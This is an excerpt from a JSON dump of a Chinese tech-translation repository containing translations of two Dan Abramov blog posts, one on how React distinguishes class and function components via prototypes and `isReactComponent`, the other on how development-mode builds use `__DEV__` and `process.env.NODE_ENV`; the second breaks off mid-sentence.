*\n\n首先，我们需要理解为什么把函数和类分开处理很重要。注意看我们是怎么使用 `new` 操作符来调用一个类的：\n\n```\n// 如果 Greeting 是一个函数\nconst result = Greeting(props); // <p>Hello</p>\n\n// 如果 Greeting 是一个类\nconst instance = new Greeting(props); // Greeting {}\nconst result = instance.render(); // <p>Hello</p>\n```\n\n我们来简单看一下 `new` 在 JavaScript 是干什么的。\n\n* * *\n\n在过去，JavaScript 还没有类。但是，你可以使用普通函数来模拟。**具体来讲，只要在函数调用前加上 `new` 操作符，你就可以把任何函数当做一个类的构造函数来用：**\n\n```\n// 只是一个函数\nfunction Person(name) {\n  this.name = name;\n}\n\nvar fred = new Person('Fred'); // ✅ Person {name: 'Fred'}\nvar george = Person('George'); // 🔴 没用的\n```\n\n现在你依然可以这样写！在 DevTools 里试试吧。\n\n如果你调用 `Person('Fred')` 时 **没有** 加 `new`，其中的 `this` 会指向某个全局且无用的东西（比如，`window` 或者 `undefined`），因此我们的代码会崩溃，或者做一些像设置 `window.name` 之类的傻事。\n\n通过在调用前增加 `new`，我们说：“嘿 JavaScript，我知道 `Person` 只是个函数，但让我们假装它是个构造函数吧。**创建一个 `{}` 对象并把 `Person` 中的 `this` 指向那个对象，以便我可以通过类似 `this.name` 的形式去设置一些东西，然后把这个对象返回给我。**”\n\n这就是 `new` 操作符所做的事。\n\n```\nvar fred = new Person('Fred'); // 和 `Person` 中的 `this` 等效的对象\n```\n\n`new` 操作符同时也把我们放在 `Person.prototype` 上的东西放到了 `fred` 对象上：\n\n```\nfunction Person(name) {\n  this.name = name;\n}\nPerson.prototype.sayHi = function() {  alert('Hi, I am ' + this.name);}\nvar fred = new Person('Fred');\nfred.sayHi();\n```\n\n这就是在 JavaScript 直接支持类之前，人们模拟类的方式。\n\n* * *\n\n`new` 在 JavaScript 中已经存在了好久了，然而类还只是最近的事，它的出现让我们能够重构我们前面的代码以使它更符合我们的本意：\n\n```\nclass Person {\n  constructor(name) {\n    this.name = name;\n  }\n  sayHi() {\n    alert('Hi, I am ' + this.name);\n  }\n}\n\nlet fred = new Person('Fred');\nfred.sayHi();\n```\n\n**捕捉开发者的本意** 是语言和 API 设计中非常重要的一点。\n\n如果你写了一个函数，JavaScript 没办法判断它应该像 `alert()` 一样被调用，还是应该被视作像 `new Person()` 一样的构造函数。忘记给像 `Person` 这样的函数指定 `new` 会导致令人费解的行为。\n\n**类语法允许我们说：“这不仅仅是个函数 —— 这是个类并且它有构造函数”。** 如果你在调用它时忘了加 `new`，JavaScript 会报错：\n\n```\nlet fred = new Person('Fred');\n// ✅  如果 Person 是个函数：有效\n// ✅  如果 Person 是个类：依然有效\n\nlet george = Person('George'); // 我们忘记使用 `new`\n// 😳 如果 Person 是个长得像构造函数的方法：令人困惑的行为\n// 🔴 如果 Person 是个类：立即失败\n```\n\n这可以帮助我们在早期捕捉错误，而不会遇到类似 `this.name` 被当成 `window.name` 对待而不是 `george.name` 的隐晦错误。\n\n然而，这意味着 React 需要在调用所有类之前加上 `new`，而不能把它直接当做一个常规的函数去调用，因为 JavaScript 会把它当做一个错误对待！\n\n```\nclass Counter extends React.Component {\n  render() {\n    return <p>Hello</p>;\n  }\n}\n\n// 🔴 React 不能简单这么做：\nconst instance = Counter(props);\n```\n\n这意味着麻烦。\n\n* * *\n\n在我们看到 React 如何处理这个问题之前，很重要的一点就是要记得大部分 React 的用户会使用 Babel 等编译器来编译类等现代化的特性以便能在老旧的浏览器上运行。因此我们需要在我们的设计中考虑编译器。\n\n在 Babel 的早期版本中，类不加 `new` 也可以被调用。但这个问题已经被修复了 —— 通过生成额外的代码的方式。\n\n```\nfunction Person(name) {\n  // 稍微简化了一下 Babel 的输出：\n  if (!(this instanceof Person)) {\n    throw new TypeError(\"Cannot call a class as a function\");\n  }\n  // Our code:\n  this.name = name;\n}\n\nnew Person('Fred'); // ✅ OK\nPerson('George');   // 🔴 无法把类当做函数来调用\n```\n\n你或许已经在你构建出来的包中见过类似的代码，这就是那些 `_classCallCheck` 函数做的事。（你可以通过启用“loose mode”来关闭检查以减小构建包的尺寸，但这或许会使你最终转向真正的原生类时变得复杂）\n\n* * *\n\n至此，你应该已经大致理解了调用时加不加 `new` 的差别：\n\n|            | `new Person()`               | `Person()`                          |\n| ---------- | ---------------------------- | ----------------------------------- |\n| `class`    | ✅ `this` 是一个 `Person` 实例 | 🔴 `TypeError`                      |\n| `function` | ✅ `this` 是一个 `Person` 实例 | 😳 `this` 是 `window` 或 `undefined` |\n\n这就是 React 正确调用你的组件很重要的原因。 **如果你的组件被定义为一个类，React 需要使用 `new` 来调用它**\n\n所以 React 能检查出某样东西是否是类吗？\n\n没那么容易！即便我们能够 [在 JavaScript 中区分类和函数](https://stackoverflow.com/questions/29093396/how-do-you-check-the-difference-between-an-ecmascript-6-class-and-function)，面对被 Babel 等工具处理过的类这还是没用。对浏览器而言，它们只是不同的函数。这是 React 的不幸。\n\n* * *\n\n好，那 React 可以直接在每次调用时都加上 `new` 吗？很遗憾，这种方法并不总是有用。\n\n对于常规函数，用 `new` 调用会给它们一个 `this` 作为对象实例。对于用作构造函数的函数（比如我们前面提到的 `Person`）是可取的，但对函数组件这或许就比较令人困惑了：\n\n```\nfunction Greeting() {\n  // 我们并不期望 `this` 在这里表示任何类型的实例\n  return <p>Hello</p>;\n}\n```\n\n这暂且还能忍，还有两个 **其他** 理由会扼杀这个想法。\n\n* * *\n\n关于为什么总是使用 `new` 是没用的第一个理由是，对于原生的箭头函数（不是那些被 Babel 编译过的），用 `new` 调用会抛出一个错误：\n\n```\nconst Greeting = () => <p>Hello</p>;\nnew Greeting(); // 🔴 Greeting 不是一个构造函数\n```\n\n这个行为是遵循箭头函数的设计而刻意为之的。箭头函数的一个附带作用是它 **没有** 自己的 `this` 值 —— `this` 解析自离得最近的常规函数：\n\n```\nclass Friends extends React.Component {\n  render() {\n    const friends = this.props.friends;\n    return friends.map(friend =>\n      <Friend\n        // `this` 解析自 `render` 方法\n        size={this.props.size}\n        name={friend.name}\n        key={friend.id}\n      />\n    );\n  }\n}\n```\n\nOK，所以 **箭头函数没有自己的 `this`。**但这意味着它作为构造函数是完全无用的！\n\n```\nconst Person = (name) => {\n  // 🔴 这么写是没有意义的！\n  this.name = name;\n}\n```\n\n因此，**JavaScript 不允许用 `new` 调用箭头函数。** 如果你这么做，你或许已经犯了错，最好早点告诉你。这和 JavaScript 不让你 **不加** `new` 去调用一个类是类似的。\n\n这样很不错，但这也让我们的计划受阻。React 不能简单对所有东西都使用 `new`，因为会破坏箭头函数！我们可以利用箭头函数没有 `prototype` 的特点来检测箭头函数，不对它们使用 `new`：\n\n```\n(() => {}).prototype // undefined\n(function() {}).prototype // {constructor: f}\n```\n\n但这对于被 Babel 编译过的函数是 [没用](https://github.com/facebook/react/issues/4599#issuecomment-136562930) 的。这或许没什么大不了，但还有另一个原因使得这条路不会有结果。\n\n* * *\n\n另一个我们不能总是使用 `new` 的原因是它会妨碍 React 支持返回字符串或其它原始类型的组件。\n\n```\nfunction Greeting() {\n  return 'Hello';\n}\n\nGreeting(); // ✅ 'Hello'\nnew Greeting(); // 😳 Greeting {}\n```\n\n这，再一次，和 [`new` 操作符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new) 的怪异设计有关。如我们之前所看到的，`new` 告诉 JavaScript 引擎去创建一个对象，让这个对象成为函数内部的 `this`，然后把这个对象作为 `new` 的结果给我们。\n\n然而，JavaScript 也允许一个使用 `new` 调用的函数返回另一个对象以 **覆盖** `new` 的返回值。或许，这在我们利用诸如“对象池模式”来对组件进行复用时是被认为有用的：\n\n```\n// 创建了一个懒变量 zeroVector = null;\nfunction Vector(x, y) {\n  if (x === 0 && y === 0) {\n    if (zeroVector !== null) {\n      // 复用同一个实例\n      return zeroVector;\n    }\n    zeroVector = this;\n  }\n  this.x = x;\n  this.y = y;\n}\n\nvar a = new Vector(1, 1);\nvar b = new Vector(0, 0);\nvar c = new Vector(0, 0); // 😲 b === c\n```\n\n然而，如果一个函数的返回值 **不是** 一个对象，它会被 `new` **完全忽略**。如果你返回了一个字符串或数字，就好像完全没有 `return` 一样。\n\n```\nfunction Answer() {\n  return 42;\n}\n\nAnswer(); // ✅ 42\nnew Answer(); // 😳 Answer {}\n```\n\n当使用 `new` 调用函数时，是没办法读取原始类型（例如一个数字或字符串）的返回值的。因此如果 React 总是使用 `new`，就没办法增加对返回字符串的组件的支持！\n\n这是不可接受的，因此我们必须妥协。\n\n* * *\n\n至此我们学到了什么？React 在调用类（包括 Babel 输出的）时 **需要用** `new`，但在调用常规函数或箭头函数时（包括 Babel 输出的）**不需要用** `new`，并且没有可靠的方法来区分这些情况。\n\n**如果我们没法解决一个笼统的问题，我们能解决一个具体的吗？**\n\n当你把一个组件定义为类，你很可能会想要扩展 `React.Component` 以便获取内置的方法，比如 `this.setState()`。 **与其试图检测所有的类，我们能否只检测 `React.Component` 的后代呢？**\n\n剧透：React 就是这么干的。\n\n* * *\n\n或许，检查 `Greeting` 是否是一个 React 组件类的最符合语言习惯的方式是测试 `Greeting.prototype instanceof React.Component`：\n\n```\nclass A {}\nclass B extends A {}\n\nconsole.log(B.prototype instanceof A); // true\n```\n\n我知道你在想什么，刚才发生了什么？！为了回答这个问题，我们需要理解 JavaScript 原型。\n\n你或许对“原型链”很熟悉。JavaScript 中的每一个对象都有一个“原型”。当我们写 `fred.sayHi()` 但 `fred` 对象没有 `sayHi` 属性，我们尝试到 `fred` 的原型上去找 `sayHi` 属性。要是我们在这儿找不到，就去找原型链的下一个原型 —— `fred` 的原型的原型，以此类推。\n\n**费解的是，一个类或函数的 `prototype` 属性 _并不_ 指向那个值的原型。** 我没开玩笑。\n\n```\nfunction Person() {}\n\nconsole.log(Person.prototype); // 🤪 不是 Person 的原型\nconsole.log(Person.__proto__); // 😳 Person 的原型\n```\n\n因此“原型链”更像是 `__proto__.__proto__.__proto__` 而不是 `prototype.prototype.prototype`，我花了好几年才搞懂这一点。\n\n那么函数和类的 `prototype` 属性又是什么？**是用 `new` 调用那个类或函数生成的所有对象的 `__proto__` ！**\n\n```\nfunction Person(name) {\n  this.name = name;\n}\nPerson.prototype.sayHi = function() {\n  alert('Hi, I am ' + this.name);\n}\n\nvar fred = new Person('Fred'); // 设置 `fred.__proto__` 为 `Person.prototype`\n```\n\n那个 `__proto__` 链才是 JavaScript 用来查找属性的：\n\n```\nfred.sayHi();\n// 1. fred 有 sayHi 属性吗？不。\n// 2. fred.__proto__ 有 sayHi 属性吗？是的，调用它！\n\nfred.toString();\n// 1. fred 有 toString 属性吗？不。\n// 2. fred.__proto__ 有 toString 属性吗？不。\n// 3. fred.__proto__.__proto__ 有 toString 属性吗？是的，调用它！\n```\n\n在实战中，你应该几乎永远不需要直接在代码里动到 `__proto__` 除非你在调试和原型链相关的问题。如果你想让某样东西在 `fred.__proto__` 上可用，你应该把它放在 `Person.prototype`，至少它最初是这么设计的。\n\n`__proto__` 属性甚至一开始就不应该被浏览器暴露出来，因为原型链应该被视为一个内部概念，然而某些浏览器增加了 `__proto__` 并最终勉强被标准化（但已被废弃并推荐使用 `Object.getPrototypeOf()`）。\n\n**然而一个名叫“原型”的属性却给不了我一个值的“原型”这一点还是很让我困惑**（例如，`fred.prototype` 是未定义的，因为 `fred` 不是一个函数）。个人观点，我觉得这是即便有经验的开发者也容易误解 JavaScript 原型链的最大原因。\n\n* * *\n\n这篇博客很长，是吧？已经到 80% 了，坚持住。\n\n我们知道当说 `obj.foo` 的时候，JavaScript 事实上会沿着 `obj`, `obj.__proto__`, `obj.__proto__.__proto__` 等等一路寻找 `foo`。\n\n在使用类时，你并非直接面对这一机制，但 `extends` 的原理依然是基于这项老旧但有效的原型链机制。这也是的我们的 React 类实例能够访问如 `setState` 这样方法的原因：\n\n```\nclass Greeting extends React.Component {\n  render() {\n    return <p>Hello</p>;\n  }\n}\n\nlet c = new Greeting();\nconsole.log(c.__proto__); // Greeting.prototype\nconsole.log(c.__proto__.__proto__); // React.Component.prototype\nconsole.log(c.__proto__.__proto__.__proto__); // Object.prototype\n\nc.render();      // 在 c.__proto__ (Greeting.prototype) 上找到\nc.setState();    // 在 c.__proto__.__proto__ (React.Component.prototype) 上找到\nc.toString();    // 在 c.__proto__.__proto__.__proto__ (Object.prototype) 上找到\n```\n\n换句话说，**当你在使用类的时候，实例的 `__proto__` 链“镜像”了类的层级结构：**\n\n```\n// `extends` 链\nGreeting\n  → React.Component\n    → Object (间接的)\n\n// `__proto__` 链\nnew Greeting()\n  → Greeting.prototype\n    → React.Component.prototype\n      → Object.prototype\n```\n\n2 条链。\n\n* * *\n\n既然 `__proto__` 链镜像了类的层级结构，我们可以检查一个 `Greeting` 是否扩展了 `React.Component`，我们从 `Greeting.prototype` 开始，一路沿着 `__proto__` 链：\n\n```\n// `__proto__` chain\nnew Greeting()\n  → Greeting.prototype // 🕵️ 我们从这儿开始\n    → React.Component.prototype // ✅ 找到了！\n      → Object.prototype\n```\n\n方便的是，`x instanceof Y` 做的就是这类搜索。它沿着 `x.__proto__` 链寻找 `Y.prototype` 是否在那儿。\n\n通常，这被用来判断某样东西是否是一个类的实例：\n\n```\nlet greeting = new Greeting();\n\nconsole.log(greeting instanceof Greeting); // true\n// greeting (🕵️‍ 我们从这儿开始)\n//   .__proto__ → Greeting.prototype (✅ 找到了！)\n//     .__proto__ → React.Component.prototype\n//       .__proto__ → Object.prototype\n\nconsole.log(greeting instanceof React.Component); // true\n// greeting (🕵️‍ 我们从这儿开始)\n//   .__proto__ → Greeting.prototype\n//     .__proto__ → React.Component.prototype (✅ 找到了！)\n//       .__proto__ → Object.prototype\n\nconsole.log(greeting instanceof Object); // true\n// greeting (🕵️‍ 我们从这儿开始)\n//   .__proto__ → Greeting.prototype\n//     .__proto__ → React.Component.prototype\n//       .__proto__ → Object.prototype (✅ 找到了！)\n\nconsole.log(greeting instanceof Banana); // false\n// greeting (🕵️‍ 我们从这儿开始)\n//   .__proto__ → Greeting.prototype\n//     .__proto__ → React.Component.prototype\n//       .__proto__ → Object.prototype (🙅‍ 没找到！)\n```\n\n但这用来判断一个类是否扩展了另一个类还是有效的\n\n```\nconsole.log(Greeting.prototype instanceof React.Component);\n// greeting\n//   .__proto__ → Greeting.prototype (🕵️‍ 我们从这儿开始)\n//     .__proto__ → React.Component.prototype (✅ 找到了！)\n//       .__proto__ → Object.prototype\n```\n\n这种检查方式就是我们判断某样东西是一个 React 组件类还是一个常规函数的方式。\n\n* * *\n\n然而 React 并不是这么做的 😳\n\n关于 `instanceof` 解决方案有一点附加说明，当页面上有多个 React 副本，并且我们要检查的组件继承自 **另一个** React 副本的 `React.Component` 时，这种方法是无效的。在一个项目里混合多个 React 副本是不好的，原因有很多，但站在历史角度来看，我们试图尽可能避免问题。（有了 Hooks，我们 [或许得](https://github.com/facebook/react/issues/13991) 强制避免重复）\n\n另一点启发可以是去检查原型链上的 `render` 方法。然而，当时还 [不确定](https://github.com/facebook/react/issues/4599#issuecomment-129714112) 组件的 API 会如何演化。每一次检查都有成本，所以我们不想再多加了。如果 `render` 被定义为一个实例方法，例如使用类属性语法，这个方法也会失效。\n\n因此, React 为基类 [增加了](https://github.com/facebook/react/pull/4663) 一个特别的标记。React 检查是否有这个标记，以此知道某样东西是否是一个 React 组件类。\n\n最初这个标记是在 `React.Component` 这个基类自己身上：\n\n```\n// React 内部\nclass Component {}\nComponent.isReactClass = {};\n\n// 我们可以像这样检查它\nclass Greeting extends Component {}\nconsole.log(Greeting.isReactClass); // ✅ 是的\n```\n\n然而，有些我们希望作为目标的类实现 [并没有](https://github.com/scala-js/scala-js/issues/1900) 复制静态属性（或设置非标准的 `__proto__`），标记也因此丢失。\n\n这也是为什么 React 把这个标记 [移动到了](https://github.com/facebook/react/pull/5021) `React.Component.prototype`：\n\n```\n// React 内部\nclass Component {}\nComponent.prototype.isReactComponent = {};\n\n// 我们可以像这样检查它\nclass Greeting extends Component {}\nconsole.log(Greeting.prototype.isReactComponent); // ✅ 是的\n```\n\n**说真的这就是全部了。**\n\n你或许奇怪为什么是一个对象而不是一个布尔值。实战中这并不重要，但早期版本的 Jest（在 Jest 商品化之前）是默认开始自动模拟功能的，生成的模拟数据省略掉了原始类型属性，[破坏了检查](https://github.com/facebook/react/pull/4663#issuecomment-136533373)。谢了，Jest。\n\n一直到今天，[React 都在用](https://github.com/facebook/react/blob/769b1f270e1251d9dbdce0fcbd9e92e502d059b8/packages/react-reconciler/src/ReactFiber.js#L297-L300) `isReactComponent` 进行检查。\n\n如果你不扩展 `React.Component`，React 不会在原型上找到 `isReactComponent`，因此就不会把组件当做类处理。现在你知道为什么解决 `Cannot call a class as a function` 错误的 [得票数最高的答案](https://stackoverflow.com/a/42680526/458193) 是增加 `extends React.Component`。最后，我们还 [增加了一项警告](https://github.com/facebook/react/pull/11168)，当 `prototype.render` 存在但 `prototype.isReactComponent` 不存在时会发出警告。\n\n* * *\n\n你或许会觉得这个故事有一点“标题党”。 **实际的解决方案其实真的很简单，但我花了大量的篇幅在转折上来解释为什么 React 最终选择了这套方案，以及还有哪些候选方案。**\n\n以我的经验来看，设计一个库的 API 也经常会遇到这种情况。为了一个 API 能够简单易用，你经常需要考虑语义化（可能的话，为多种语言考虑，包括未来的发展方向）、运行时性能、有或没有编译时步骤的工程效能、生态的状态以及打包方案、早期的警告，以及很多其它问题。最终的结果未必总是最优雅的，但必须要是可用的。\n\n**如果最终的 API 成功的话, _它的用户_ 永远不必思考这一过程**。他们只需要专心创建应用就好了。\n\n但如果你同时也很好奇...知道它是怎么工作的也是极好的。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-does-the-development-mode-work.md",
    "content": "> * 原文地址：[开发模式的工作原理是什么？](https://overreacted.io/how-does-the-development-mode-work/)\n> * 原文作者：[Dan Abramov](https://mobile.twitter.com/dan_abramov)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-does-the-development-mode-work.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-does-the-development-mode-work.md)\n> * 译者：[Jerry-FD](https://github.com/Jerry-FD)\n> * 校对者：[TokenJan](https://github.com/TokenJan)、[hanxiaosss](https://github.com/hanxiaosss)\n\n# 开发模式的工作原理是？\n\n如果你的 JavaScript 代码库已经有些复杂了，**你可能需要一个解决方案来针对线上和开发环境区分打包和运行不同代码**。\n\n针对开发环境和线上环境，来区分打包和运行不同的代码非常有用。在开发模式中，React 会包含很多告警来帮助你及时发现问题，而不至于造成线上 bug。然而，这些帮助发现问题的必要代码，往往会造成代码包大小增加以及应用运行变慢。\n\n这种降速在开发环境下是可以接受的。事实上，在开发环境下运行代码的速度更慢**可能更有帮助**，因为这可以一定程度上消除高性能的开发机器与平均速度的用户设备而带来的差异。\n\n在线上环境我们不想要任何的性能损耗。因此，我们在线上环境删除了这些校验。那么它的工作原理是什么？让我们来康康。\n\n---\n\n想要在开发环境运行下不同代码关键在于你的 JavaScript 构建工具（无论你用的是哪一个）。在 Facebook 中它长这个样子：\n\n```js\nif (__DEV__) {\n  doSomethingDev();\n} else {\n  doSomethingProd();\n}\n```\n\n在这里，`__DEV__` 不是一个真正的变量。当浏览器把模块之间的依赖加载完毕的时候，它会被替换成常量。结果是这个样子：\n\n```js\n// 在开发环境下：\nif (true) {\n  doSomethingDev(); // 👈\n} else {\n  doSomethingProd();\n}\n\n// 在线上环境：\nif (false) {\n  doSomethingDev();\n} else {\n  doSomethingProd(); // 👈\n}\n```\n\n在线上环境，你可能会在代码中会启用压缩工具（比如, [terser](https://github.com/terser-js/terser)）。大多 JavaScript 压缩工具会针对[无效代码](https://en.wikipedia.org/wiki/Dead_code_elimination)做一些限制，比如删除 `if (false)` 的逻辑分支。所以在线上环境中，你可能只会看到：\n\n```js\n// 在线上环境（压缩后）：\ndoSomethingProd();\n```\n\n**（注意，针对目前主流的 JavaScript 工具有一些重要的规范，这些规范可以指导怎样才能有效的移除无效代码，但这是另一个的话题了。）**\n\n可能你使用的不是 `__DEV__` 这个神奇的变量，如果你是用的是流行的 JavaScript 打包工具，比如 webpack，那么这有一些你需要遵守的约定。比如，像这样的一种非常常见的表达式：\n\n```js\nif (process.env.NODE_ENV !== 'production') {\n  doSomethingDev();\n} else {\n  doSomethingProd();\n}\n```\n\n**一些框架比如 [React](https://reactjs.org/docs/optimizing-performance.html#use-the-production-build) 和 [Vue](https://vuejs.org/v2/guide/deployment.html#Turn-on-Production-Mode) 就是使用的这种形式。当你使用 npm 来打包载入它们的时候。** (单个的 `<script>` 标签会提供开发和线上版本的独立文件，并且使用 `.js` 和 `.min.js` 的结尾来作为区分。)\n\n这个特殊的约定最早来自于 Node.js。在 Node.js 中，会有一个全局的 `process` 变量用来代表你当前系统的环境变量，它属于 [`process.env`](https://nodejs.org/dist/latest-v8.x/docs/api/process.html#process_process_env) object 的一个属性。然而，如果你在前端的代码库里看到这种语法，其实是并不存在真正的 `process` 变量的。🤯\n\n取而代之的是，整个 `process.env.NODE_ENV` 表达式在打包的时候会被替换成一个字面量的字符串，就像神奇的 `__DEV__` 变量一样：\n\n```js\n// 在开发环境中：\nif ('development' !== 'production') { // true\n  doSomethingDev(); // 👈\n} else {\n  doSomethingProd();\n}\n\n// 在线上环境中：\nif ('production' !== 'production') { // false\n  doSomethingDev();\n} else {\n  doSomethingProd(); // 👈\n}\n```\n\n因为整个表达式是常量（`'production' !== 'production'` 恒为 `false`）打包压缩工具也可以借此删除其他的逻辑分支代码。\n\n```js\n// 在线上环境（打包压缩后）：\ndoSomethingProd();\n```\n\n恶作剧到此结束~\n\n---\n\n注意这个特性如果面对更复杂的表达式将**不会工作**：\n\n```js\nlet mode = 'production';\nif (mode !== 'production') {\n  // 🔴 不能保证会被移除\n}\n```\n\nJavaScript 静态分析工具不是特别智能，这是因为语言的动态特性所决定的。当它们发现像 `mode` 这样的变量，而不是像 `false` 或者 `'production' !== 'production'` 这样的静态表达式时，它们大概率会失效。\n\n类似地，在 JavaScript 中如果你使用顶层的 `import` 声明，自动移除无用代码的逻辑会因为不能跨越模块边界而无法生效。\n\n```js\n// 🔴 不能保证会被移除\nimport {someFunc} from 'some-module';\n\nif (false) {\n  someFunc();\n}\n```\n\n所以你的代码需要写的非常严格，来确保条件的**绝对静态**，并且确保**所有**你想要移除的代码都包含在条件内部。\n\n---\n\n为了保证一切按计划运行，你的打包工具需要替换 `process.env.NODE_ENV`，而且它需要知道你**想要**在哪种模式下构建项目。\n\n在几年前，忘记配置环境变量非常常见。你会经常发现在开发模式下的项目被部署到了线上。\n\n那很糟糕，因为这会使网站加载运行的速度很慢。\n\n在过去的两年里，这种情况有了显著的改善。例如，webpack 增加了一个简单的 `mode` 选项，替换了原先手动更改 `process.env.NODE_ENV`。 React DevTools 现在也会针对开发模式下的站点展示一个红色的 icon，来使得它容易被[察觉](https://mobile.twitter.com/BestBuySupport/status/1027195363713736704)。\n\n[![React DevTools 的开发模式警告](https://overreacted.io/static/ca1c0db064f73cc5c8e21ad605eaba26/fb8a0/devmode.png)](https://overreacted.io/static/ca1c0db064f73cc5c8e21ad605eaba26/d9514/devmode.png) \n\n一些会帮你做预设置的安装工具比如 Create React App、Next/Nuxt、Vue CLI、Gatsby 等等，会把开发和线上构建分成两个独立的命令，来使得犯错的几率更小。(例如，`npm start` 和 `npm run build`。）也就是说，只有线上的构建代码才能被部署，所以开发者再也不可能犯这种错误了。\n\n一直有一个在讨论的点是，把**线上**模式置为默认，开发模式变为可选项。个人来说，我认为这样做不是很好。从开发模式的警告中受益的人大多是刚刚接触这个框架的开发者。 **他们不会意识到要打开开发模式的开关**，这样就会错过很多应该被警告提前发现的 bug。\n\n是的，性能问题非常糟糕，但充斥着 bug 的用户体验也是一样。例如，[React key 警告](https://reactjs.org/docs/lists-and-keys.html#keys) 帮助防止发生像发错了消息或者买错了产品这样的 bug。如果在开发中禁用这个警告，对你**和**你的用户来说都是非常冒险的。因为如果它默认是关闭状态，而之后你发现了这个开关并把它打开了，你会发现有太多的警告需要清理。所以大多数人会再把它关上。所以这就是为什么它需要在开始时候就是打开状态，而不是之后才让它生效的原因。\n\n最后，就算在开发中这些警告是可选项，并且开发者们也**知道**需要在开发的早期就把它们打开，我们还是要回到最开始的问题。还是会有一些开发者不小心把他们部署到线上环境中！\n\n我们回到这一点来。\n\n个人认为，我坚信**工具展示和使用的正确模式取决于你是在调试还是在部署**。几乎所有其他环境（无论是手机、桌面还是服务端）除了页面浏览器之外都已经有区分和加载不同的开发和线上环境的方法存在长达数十年了。\n\n不能仅依靠框架提出或者依赖临时公约，可能 JavaScript 的环境是时候把这种区别作为一个很重要的需求来看待了。\n\n---\n\n大道理已经够了！\n\n让我们再来看一眼代码：\n\n```js\nif (process.env.NODE_ENV !== 'production') {\n  doSomethingDev();\n} else {\n  doSomethingProd();\n}\n```\n\n你可能想知道：如果在前端代码中不存在 `process` 对象，为什么像 React 和 Vue 这样的框架会在 npm 包中依赖它？\n\n**（再次声明：用 `<script>` 标签可以使用 React 和 Vue 提供的方式把它们加载到浏览器中，这不会依赖 process。取而代之的是，你必须要手动选择，在开发模式下的 `.js` 还是线上环境中的 `.min.js` 文件。下面的部分只是关于使用打包工具把 React 或者 Vue 从 npm 中 `import` 进来而使用它们。）**\n\n像编程中的很多问题一样，这种特殊的约定大多是历史原因。我们还在使用它的原因是因为，它现在已经被很多其他的工具所接受并适应了。换成其他的会有很大的代价，并且不是特别值得这么做。\n\n所以背后的历史原因究竟是什么？\n\n在 `import` 和 `export` 的语法被标准化的很多年前，有很多方式来表达模块之间的关系。比如 Node.js 中所受欢迎的 `require()` 和 `module.exports`，也就是著名的 [CommonJS](https://en.wikipedia.org/wiki/CommonJS)。\n\n在 npm 上注册发布的代码早期多数是针对 Node.js 写的 [Express](https://expressjs.com) 曾是（可能现在还是？）最受欢迎的服务端 Node.js 框架，它[使用 `NODE_ENV` 这个环境变量](https://expressjs.com/en/advanced/best-practice-performance.html#set-node_env-to-production) 来使线上模式生效。 一些其他的 npm 包也采用了同样的约定。\n\n早期的 JavaScript 打包工具比如 browserify 想要在前端工程中使用 npm 中的代码。（是的，[那时候](https://blog.npmjs.org/post/101775448305/npm-and-front-end-packaging) 在前端中几乎没人使用 npm！你可以想象吗？）所以它们拓展了当时在 Node.js 生态系统中的约定，将之应用于前端代码中。\n\n最初的 “envify” 变革是在 [2013 正式版](https://github.com/hughsk/envify/commit/ae8aa26b759cd2115eccbed96f70e7bbdceded97)。React 就是在差不多那个时候开源的，并且在那个时代 npm 和 browserify 看起来是打包前端 CommonJS 代码的最佳解决方案。\n\nReact 在很早的时候就提供 npm 版本（还有 `<script>` 标签版本）。随着 React 变得流行起来，使用 CommonJS 模块来写 JavaScript 的模块化代码、并使用 npm 来管理发布代码也变成了最佳实践。\n\nReact 需要在线上环境移除只应该出现在开发模式中的代码。刚好 Browserify 已经针对这个问题提供了解决方案，所以 React 针对 npm 版本也接受了使用 `process.env.NODE_ENV` 的这个约定，随着时间的流逝，一些其他的工具和框架，包括 webpack 和 Vue，也采取了相同的措施。\n\n到了 2019 年时，browserify 已经失去了很大一部分的市场占有率。然而，在构建的阶段把 `process.env.NODE_ENV` 替换成 `'development'` 或者 `'production'` 的这项约定，却一如既往的流行。\n\n**（同样有趣的是，了解 ES 模块的方式是如何一步步发展成作为线上的分发引用模式，而不仅仅只是在开发时使用的发展历史，它是如何慢慢改变天平的？在 Twitter 上告诉我）**\n\n---\n\n另一件你可能会感到迷惑的事是，在 GitHub 上 React **源码**中，你会看到 `__DEV__` 被作为一个神奇的变量来使用。但是在 npm 上的 React 代码里，使用的却是 `process.env.NODE_ENV`。这是怎么做到的？\n\n从历史上说，我们在源码中使用 `__DEV__` 来匹配 Facebook 的源码。在很长一段时间里，React 被直接复制进 Facebook 的代码仓库里，所以它需要遵守相同的规则。对于 npm 的代码，我们有一个构建阶段，在发布代码之前会检查并使用 `process.env.NODE_ENV !== 'production'` 来字面地替换 `__DEV__` 。\n\n这有时会有一个问题。某些时候，遵循 Node.js 约定的代码在 npm 上运行的很好，但是会破坏 Facebook，反之亦然。\n\n从 React 16 起，我们改变了这种方式。取而代之，现在我们会针对每一个环境[编译一个包](https://reactjs.org/blog/2017/12/15/improving-the-repository-infrastructure.html#compiling-flat-bundles)（包括 `<script>` 标签、npm 和 Facebook 内部的代码仓库）。所以甚至是 npm 的 CommonJS 代码也被提前编译成独立的开发和线上包。\n\n这意味着当 React 源码中出现 `if (__DEV__)` 的时候，事实上我们会对每一个包产出**两个**代码块。一个被预编译为 `__DEV__ = true` 另一个是 `__DEV__ = false`。每一个 npm 